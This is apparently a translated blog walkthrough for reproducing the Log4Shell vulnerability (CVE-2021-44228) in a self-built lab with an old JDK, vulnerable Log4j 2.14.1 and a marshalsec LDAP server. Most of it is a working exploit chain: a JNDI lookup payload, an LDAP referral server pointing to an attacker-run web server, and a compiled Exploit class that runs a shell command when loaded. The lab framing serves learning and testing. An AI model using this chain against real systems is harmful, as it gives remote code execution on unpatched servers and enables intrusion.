
Guide de reproduction étape par étape pour CVE-2021-44228 (Log4Shell) avec JDK 8u20, Log4j 2.14.1 vulnérable, serveur LDAP marshalsec et compilation de charge utile personnalisée.
Je pense que cette méthode est plus pratique (pleurs)christophetd/log4shell-vulnerable-app
Comme je n'ai fait ces recherches que par intérêt et sur un coup de tête, il y aura probablement des zones d'ombre et des erreurs.
Merci de l'utiliser à vos propres risques.
Cela devrait fonctionner sur un environnement Linux.
À partir de jdk8u191, l'option com.sun.jndi.rmi.object.trustURLCodebase a été ajoutée et sa valeur par défaut est définie sur False.
Dans cet état, il n'est pas possible de charger une classe préparée en externe, nous utiliserons donc une version antérieure cette fois.
(Peut-on charger des classes internes ou contourner le mécanisme ? ?)
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
Téléchargement direct de jdk8u20
Décompressez-le et placez-le par exemple dans /opt.
Téléchargement de log4j Décompressez l'archive et extrayez et (je les ai placés dans un répertoire nommé log4japp cette fois).
export CLASSPATH=:/path/to/log4japp/log4j-api-2.14.1.jar:/path/to/log4japp/log4j-core-2.14.1.jar
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://your-ip:1389/resource}");
// /resource がないと動きませんでした。
}
}
mbechler/marshalsec
Rediriger la requête LDAP vers le serveur Web.
mvn clean package -DskipTests
Démarrer l'écoute
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-web-ip:8888/#Exploit"
Préparer également la cible de redirection de marshalsec
python3 -m http.server 8888
class Exploit {
static {
try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
}
}
Compiler avec le jdk8u20 installé
/opt/java/jdk1.8.0_20/bin/javac Exploit.java
Compiler et exécuter avec le jdk8u20 installé.
/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j
